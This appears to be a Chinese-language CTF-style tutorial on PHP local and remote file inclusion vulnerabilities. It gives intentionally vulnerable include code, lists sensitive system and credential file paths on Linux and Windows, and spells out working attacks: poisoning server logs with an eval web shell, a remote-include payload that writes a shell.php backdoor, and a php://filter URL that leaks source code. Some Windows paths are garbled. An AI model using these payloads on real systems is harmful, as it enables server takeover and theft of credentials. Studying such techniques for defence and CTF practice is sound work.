文件包含函数
include 调用文件用的函数
require
<?php echo'<meta http-equiv="Content-Type" content="text/html;charset=gb2312" />'; // include '1.txt'; // $a = $_GET['page']; $a = "$_GET[page]"; // echo $a; include $a; ?>
include 调用a ,这里可以给a传入任意文件,这个文件有可能传入的是木马文件,能传入任意文件就是文件包含漏洞
远程文件包含
要求php.ini中的 allow_url_include=on
例如:127.0.0.1/cs/main.php?page=http://www.baidu.com/index.html 文件main.php 中page 传入的是百度
常见的敏感文件
unix/linux 系统中
/etc/passwd----------里面一般存放的是用户的一些数据
/usr/local/app/apache2/conf/httpd.conf----------------里面存放的apache2 默认的配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf----------里面存放虚拟网站设置
/usr/local/app/php5/lib/php.ini--------------------里面存放PHP相关的设置
/etc/httpd/conf/httpd.conf---------------------里面存放apache的配置文件
/etc/my.cnf-------------------里面存放mysql 的配置文件
windows系统
C:oot.ini----------------里面可查看系统版本
C:windowssysten32inetsrvMetaBase.xml-----------------里面是IIS配置文件
C:windows epairsam--------------------------存储windows 系统初次安装的密码
C:Program Filesmysqlmy.ini--------------------里面存放mysql配置
C:Program Filesmysqldatamysqluser.MYD-----------------里面存放mysql root
C:windowsphp.ini-------------------------php配置信息
C:windowsmy.ini-------------------存放mysql配置文件
常见的敏感文件----flag
1. 根目录下存在flag文件
C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径
包含日志文件getshell
在页面访问http://127.0.0.1/<?php eval($_POST[111])?> 为了避免在web中被url编码 我们在burpsuite中植入
这也我们的一句话木马就会被带进日志文件,只要满足allow_url_include=on我们就可以通过文件包含漏洞在本地远程传递服务器的日志文件为参
数从而解析我们植入的一句话木马来拿到shell(必须要知道日志文件的绝对路径)
远程文件包含写入一个shell
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>'); ?>
fopen()函数打开或者创建一个名为shell.php的文件,fputs()函数往shell.php文件里写入一句话木马
我们把含有这段代码的文件传入给有文件包含漏洞的参数,它就会被执行,在当前目录下创建一个名为shell.php的一句话木马文件
PHP封装协议读取文件
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php
利用PHP协议去用base64j解读文件main.php,从而还原该文件的源码